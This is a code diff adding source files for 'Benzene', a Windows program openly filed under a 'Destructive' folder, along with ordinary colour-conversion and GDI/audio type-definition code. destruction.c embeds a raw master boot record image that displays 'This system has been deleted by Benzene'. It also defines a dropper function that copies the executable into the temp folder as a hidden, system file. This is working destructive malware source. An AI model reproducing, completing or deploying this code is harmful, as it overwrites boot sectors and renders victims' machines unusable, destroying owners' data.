+ _In_ UINT nIDEvent,
28
+ _In_ DWORD dwTime
29
+ );
src/Benzene-main/Destructive/Benzene/color.c ADDED
@@ -0,0 +1,142 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ HSLCOLOR
4
+ RGBToHSL(
5
+ _In_ RGBQUAD rgb
6
+ )
7
+ {
8
+ HSLCOLOR hsl;
9
+
10
+ BYTE r = rgb.r;
11
+ BYTE g = rgb.g;
12
+ BYTE b = rgb.b;
13
+
14
+ FLOAT _r = ( FLOAT )r / 255.f;
15
+ FLOAT _g = ( FLOAT )g / 255.f;
16
+ FLOAT _b = ( FLOAT )b / 255.f;
17
+
18
+ FLOAT rgbMin = min( min( _r, _g ), _b );
19
+ FLOAT rgbMax = max( max( _r, _g ), _b );
20
+
21
+ FLOAT fDelta = rgbMax - rgbMin;
22
+ FLOAT deltaR;
23
+ FLOAT deltaG;
24
+ FLOAT deltaB;
25
+
26
+ FLOAT h = 0.f;
27
+ FLOAT s = 0.f;
28
+ FLOAT l = ( FLOAT )( ( rgbMax + rgbMin ) / 2.f );
29
+
30
+ if ( fDelta != 0.f )
31
+ {
32
+ s = l < .5f ? ( FLOAT )( fDelta / ( rgbMax + rgbMin ) ) : ( FLOAT )( fDelta / ( 2.f - rgbMax - rgbMin ) );
33
+ deltaR = ( FLOAT )( ( ( rgbMax - _r ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
34
+ deltaG = ( FLOAT )( ( ( rgbMax - _g ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
35
+ deltaB = ( FLOAT )( ( ( rgbMax - _b ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
36
+
37
+ if ( _r == rgbMax )
38
+ {
39
+ h = deltaB - deltaG;
40
+ }
41
+ else if ( _g == rgbMax )
42
+ {
43
+ h = ( 1.f / 3.f ) + deltaR - deltaB;
44
+ }
45
+ else if ( _b == rgbMax )
46
+ {
47
+ h = ( 2.f / 3.f ) + deltaG - deltaR;
48
+ }
49
+
50
+ if ( h < 0.f )
51
+ {
52
+ h += 1.f;
53
+ }
54
+ if ( h > 1.f )
55
+ {
56
+ h -= 1.f;
57
+ }
58
+ }
59
+
60
+ hsl.h = h;
61
+ hsl.s = s;
62
+ hsl.l = l;
63
+ return hsl;
64
+ }
65
+
66
+ RGBQUAD
67
+ HSLToRGB(
68
+ _In_ HSLCOLOR hsl
69
+ )
70
+ {
71
+ RGBQUAD rgb;
72
+
73
+ FLOAT r = hsl.l;
74
+ FLOAT g = hsl.l;
75
+ FLOAT b = hsl.l;
76
+
77
+ FLOAT h = hsl.h;
78
+ FLOAT sl = hsl.s;
79
+ FLOAT l = hsl.l;
80
+ FLOAT v = ( l <= .5f ) ? ( l * ( 1.f + sl ) ) : ( l + sl - l * sl );
81
+
82
+ FLOAT m;
83
+ FLOAT sv;
84
+ FLOAT fract;
85
+ FLOAT vsf;
86
+ FLOAT mid1;
87
+ FLOAT mid2;
88
+
89
+ INT sextant;
90
+
91
+ if ( v > 0.f )
92
+ {
93
+ m = l + l - v;
94
+ sv = ( v - m ) / v;
95
+ h *= 6.f;
96
+ sextant = ( INT )h;
97
+ fract = h - sextant;
98
+ vsf = v * sv * fract;
99
+ mid1 = m + vsf;
100
+ mid2 = v - vsf;
101
+
102
+ switch ( sextant )
103
+ {
104
+ case 0:
105
+ r = v;
106
+ g = mid1;
107
+ b = m;
108
+ break;
109
+ case 1:
110
+ r = mid2;
111
+ g = v;
112
+ b = m;
113
+ break;
114
+ case 2:
115
+ r = m;
116
+ g = v;
117
+ b = mid1;
118
+ break;
119
+ case 3:
120
+ r = m;
121
+ g = mid2;
122
+ b = v;
123
+ break;
124
+ case 4:
125
+ r = mid1;
126
+ g = m;
127
+ b = v;
128
+ break;
129
+ case 5:
130
+ r = v;
131
+ g = m;
132
+ b = mid2;
133
+ break;
134
+ }
135
+ }
136
+
137
+ rgb.r = ( BYTE )( r * 255.f );
138
+ rgb.g = ( BYTE )( g * 255.f );
139
+ rgb.b = ( BYTE )( b * 255.f );
140
+
141
+ return rgb;
142
+ }
src/Benzene-main/Destructive/Benzene/color.h ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ typedef struct {
5
+ FLOAT h;
6
+ FLOAT s;
7
+ FLOAT l;
8
+ } HSLCOLOR;
9
+
10
+ HSLCOLOR
11
+ RGBToHSL(
12
+ _In_ RGBQUAD rgb
13
+ );
14
+
15
+ RGBQUAD
16
+ HSLToRGB(
17
+ _In_ HSLCOLOR hsl
18
+ );
src/Benzene-main/Destructive/Benzene/def.h ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ typedef union
5
+ {
6
+ COLORREF rgb;
7
+ struct
8
+ {
9
+ BYTE b;
10
+ BYTE g;
11
+ BYTE r;
12
+ BYTE unused;
13
+ };
14
+ } RGBQUAD, *PRGBQUAD;
15
+
16
+ typedef VOID( WINAPI GDI_SHADER )(
17
+ _In_ INT t,
18
+ _In_ INT w,
19
+ _In_ INT h,
20
+ _In_ HDC hdcTemp,
21
+ _In_ HBITMAP hbmTemp,
22
+ _In_ PRGBQUAD prgbSrc,
23
+ _Inout_ PRGBQUAD prgbDst
24
+ ), *PGDI_SHADER;
25
+
26
+ typedef VOID( WINAPI GDI_SHADER_OPERATION )(
27
+ _In_ INT t,
28
+ _In_ INT w,
29
+ _In_ INT h,
30
+ _In_ RECT rcBounds,
31
+ _In_ HDC hdcDst,
32
+ _In_ HDC hdcTemp
33
+ ), *PGDI_SHADER_OPERATION;
34
+
35
+ typedef struct tagGDI_SHADER_PARAMS
36
+ {
37
+ PGDI_SHADER pGdiShader;
38
+ PGDI_SHADER_OPERATION pPreGdiShader;
39
+ PGDI_SHADER_OPERATION pPostGdiShader;
40
+ } GDI_SHADER_PARAMS, *PGDISHADER_PARAMS;
41
+
42
+ typedef VOID( WINAPI AUDIO_SEQUENCE )(
43
+ _In_ INT nSamplesPerSec,
44
+ _In_ INT nSampleCount,
45
+ _Inout_ PSHORT psSamples
46
+ ), *PAUDIO_SEQUENCE;
47
+
48
+ typedef VOID( WINAPI AUDIOSEQUENCE_OPERATION )(
49
+ _In_ INT nSamplesPerSec
50
+ ), *PAUDIO_SEQUENCE_OPERATION;
51
+
52
+ typedef struct tagAUDIO_SEQUENCE_PARAMS
53
+ {
54
+ INT nSamplesPerSec;
55
+ INT nSampleCount;
56
+ PAUDIO_SEQUENCE pAudioSequence;
57
+ PAUDIO_SEQUENCE_OPERATION pPreAudioOp;
58
+ PAUDIO_SEQUENCE_OPERATION pPostAudioOp;
59
+ } AUDIO_SEQUENCE_PARAMS, *PAUDIO_SEQUENCE_PARAMS;
src/Benzene-main/Destructive/Benzene/destruction.c ADDED
@@ -0,0 +1,767 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ const unsigned char pccMbrData[] = {
4
+ 0xEA, 0x05, 0x7C, 0x00, 0x00, 0xFA, 0x31, 0xC0, 0x8E, 0xD0, 0xBC, 0xF0, 0x7B, 0xFB, 0xBB, 0x00,
5
+ 0x10, 0x8E, 0xC3, 0xB8, 0x08, 0x02, 0xB9, 0x02, 0x00, 0xB6, 0x00, 0x31, 0xDB, 0xCD, 0x13, 0x06,
6
+ 0x1F, 0xB8, 0x00, 0x20, 0x8E, 0xC0, 0x31, 0xC0, 0x89, 0xC3, 0x89, 0xC1, 0x89, 0xC2, 0x89, 0xC7,
7
+ 0x89, 0xC6, 0xAC, 0x81, 0xFE, 0xD4, 0x0E, 0x73, 0x2F, 0x3C, 0x80, 0x73, 0x02, 0xEB, 0x0F, 0x24,
8
+ 0x7F, 0x88, 0xC1, 0xAC, 0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0xFF, 0x75, 0xF7, 0xEB, 0xE4, 0x88, 0xC4,
9
+ 0xAC, 0x89, 0xC3, 0xAC, 0x1E, 0x68, 0x00, 0x20, 0x1F, 0x89, 0xF2, 0x89, 0xDE, 0x88, 0xC1, 0xAC,
10
+ 0xAA, 0xE2, 0xFC, 0x89, 0xD6, 0x1F, 0xEB, 0xCA, 0xB8, 0x00, 0x20, 0x8E, 0xD8, 0x8E, 0xC0, 0xEA,
11
+ 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
12
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
13
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
14
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
15
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
16
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
17
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
18
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
19
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
20
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
21
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
22
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
23
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
24
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
25
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
26
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
27
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
28
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
29
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
30
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
31
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
32
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
33
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
34
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
35
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA,
36
+ 0xA4, 0xB8, 0x03, 0x00, 0xCD, 0x10, 0xB8, 0x03, 0x10, 0xB3, 0x00, 0xCD, 0x10, 0xB0, 0x34, 0xE6,
37
+ 0x43, 0xE8, 0x92, 0x00, 0xFA, 0x1E, 0x6A, 0x00, 0x1F, 0xC7, 0x06, 0x20, 0x00, 0x53, 0x00, 0xC7,
38
+ 0x06, 0x22, 0x00, 0x00, 0x20, 0x1F, 0x00, 0x14, 0x06, 0x86, 0x24, 0x00, 0x93, 0x00, 0xC7, 0x06,
39
+ 0x26, 0x00, 0x21, 0x04, 0xB9, 0xFB, 0xB0, 0xB6, 0xE6, 0x43, 0xB8, 0xA9, 0x04, 0xE6, 0x42, 0x88,
40
+ 0xE0, 0xE6, 0x42, 0xE4, 0x61, 0x0C, 0x03, 0xE6, 0x61, 0xE8, 0x1A, 0x01, 0xF4, 0xEB, 0xFD, 0x00,
41
+ 0x00, 0x00, 0x60, 0xFE, 0x06, 0x50, 0x00, 0x80, 0x3E, 0x50, 0x00, 0x08, 0x75, 0x08, 0xC6, 0x06,
42
+ 0x50, 0x00, 0x00, 0xE8, 0xC2, 0x00, 0xFE, 0x06, 0x51, 0x00, 0x80, 0x3E, 0x51, 0x00, 0x0C, 0x00,
43
+ 0x5D, 0x04, 0x8E, 0x51, 0x00, 0x00, 0xE8, 0x63, 0x01, 0xFE, 0x06, 0x52, 0x00, 0x80, 0x3E, 0x52,
44
+ 0x00, 0x0A, 0x00, 0x70, 0x04, 0x94, 0x52, 0x00, 0x00, 0xE8, 0x62, 0x00, 0xB0, 0x20, 0xE6, 0x20,
45
+ 0x61, 0xCF, 0x60, 0xE4, 0x60, 0x3C, 0x1F, 0x75, 0x03, 0xE8, 0x12, 0x00, 0x8C, 0x07, 0xEE, 0x9C,
46
+ 0x2E, 0xA1, 0xA3, 0x00, 0xE6, 0x40, 0x88, 0xE0, 0xE6, 0x40, 0xC3, 0xA1, 0xA3, 0x00, 0xBB, 0x02,
47
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160
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161
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162
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169
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170
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171
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172
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174
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175
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176
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177
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178
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179
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180
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181
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182
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183
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184
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185
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186
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187
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188
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189
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190
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191
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192
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194
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195
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196
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198
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199
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200
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201
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202
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204
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205
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206
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207
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208
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209
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210
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211
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212
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213
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214
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215
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216
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217
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218
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219
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220
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221
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222
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223
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224
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225
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226
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227
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228
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229
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230
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231
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232
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233
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234
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235
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236
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237
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238
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239
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240
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241
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242
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243
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244
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245
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246
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247
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248
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249
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250
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251
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252
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253
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254
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255
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256
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257
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258
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259
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260
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261
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262
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263
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264
+ 0x26, 0x23, 0x68, 0x15, 0x04, 0xD1, 0x00, 0x25, 0xE0, 0x32, 0xDF, 0x2F, 0x3A, 0x22, 0x89, 0x23,
265
+ 0x80, 0x22, 0x4C, 0x26, 0xB8, 0x24, 0x98, 0x2A, 0xAC, 0x26, 0xB1, 0x3A, 0xE8, 0x68, 0xBF, 0x23,
266
+ 0x26, 0x23, 0x4C, 0x65, 0x32, 0x79, 0x68, 0x68, 0x98, 0x2A, 0xE0, 0x32, 0x9D, 0x25, 0xF2, 0x25,
267
+ 0xF0, 0x27, 0xB8, 0x24, 0x89, 0x63, 0x56, 0x63, 0x12, 0x67, 0xB1, 0x3A, 0xE8, 0x28, 0x4C, 0x66,
268
+ 0x4C, 0x65, 0x26, 0x63, 0xDF, 0x61, 0xBF, 0x63, 0x5C, 0xA2, 0xC4, 0xA1, 0x56, 0xA3, 0x9D, 0xA5,
269
+ 0x32, 0x79, 0xAC, 0x66, 0x68, 0x28, 0x26, 0x23, 0x68, 0x79, 0x04, 0x67, 0xA7, 0x04, 0xB4, 0x12,
270
+ 0x27, 0x89, 0x23, 0x30, 0x35, 0x4C, 0xA5, 0xF9, 0xE2, 0xDF, 0xE1, 0x34, 0xE4, 0x54, 0x68, 0x69,
271
+ 0x73, 0x20, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x20, 0x68, 0x61, 0x73, 0x20, 0x62, 0x65, 0x65,
272
+ 0x6E, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x6E,
273
+ 0x7A, 0x65, 0x6E, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
274
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
275
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
276
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
277
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
278
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
279
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
280
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
281
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
282
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
283
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
284
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
285
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
286
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
287
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
288
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
289
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
290
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
291
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
292
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
293
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
294
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
295
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
296
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
297
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
298
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
299
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
300
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
301
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
302
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
303
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
304
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
305
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
306
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
307
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
308
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
309
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
310
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
311
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
312
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
313
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
314
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
315
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
316
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
317
+ };
318
+
319
+ BOOL
320
+ WINAPI
321
+ ExecuteDropper( VOID )
322
+ {
323
+ WCHAR szPath[ MAX_PATH ] = { 0 };
324
+ WCHAR szNewPath[ MAX_PATH ] = { 0 };
325
+ STARTUPINFO si = { 0 };
326
+ PROCESS_INFORMATION pi;
327
+ DWORD dwUnnamed;
328
+ HANDLE hFile;
329
+
330
+ GetModuleFileNameW( NULL, szPath, MAX_PATH );
331
+ start:
332
+ GetTempPathW( MAX_PATH, szNewPath );
333
+
334
+ if ( wcsncmp( szPath, szNewPath, wcslen( szNewPath ) ) )
335
+ {
336
+ WCHAR szFileName[ 17 ] = { 0 };
337
+ GetRandomPath( szFileName, 16 );
338
+ wcscat_s( szNewPath, MAX_PATH, szFileName );
339
+ wcscat_s( szNewPath, MAX_PATH, L".txt" );
340
+
341
+ if ( ( hFile = CreateFileW( szNewPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL ) ) == INVALID_HANDLE_VALUE )
342
+ {
343
+ RtlZeroMemory( szNewPath, MAX_PATH );
344
+ goto start;
345
+ }
346
+
347
+ while ( !WriteFile( hFile, szPath, MAX_PATH, &dwUnnamed, NULL ) )
348
+ {
349
+ Sleep( 10 );
350
+ }
351
+
352
+ CloseHandle( hFile );
353
+
354
+ GetTempPathW( MAX_PATH, szNewPath );
355
+ wcscat_s( szNewPath, MAX_PATH, szFileName );
356
+ wcscat_s( szNewPath, MAX_PATH, L".exe" );
357
+
358
+ while ( !CopyFileW( szPath, szNewPath, FALSE ) )
359
+ {
360
+ Sleep( 10 );
361
+ }
362
+
363
+ while ( !SetFileAttributesW( szNewPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ) )
364
+ {
365
+ Sleep( 10 );
366
+ }
367
+
368
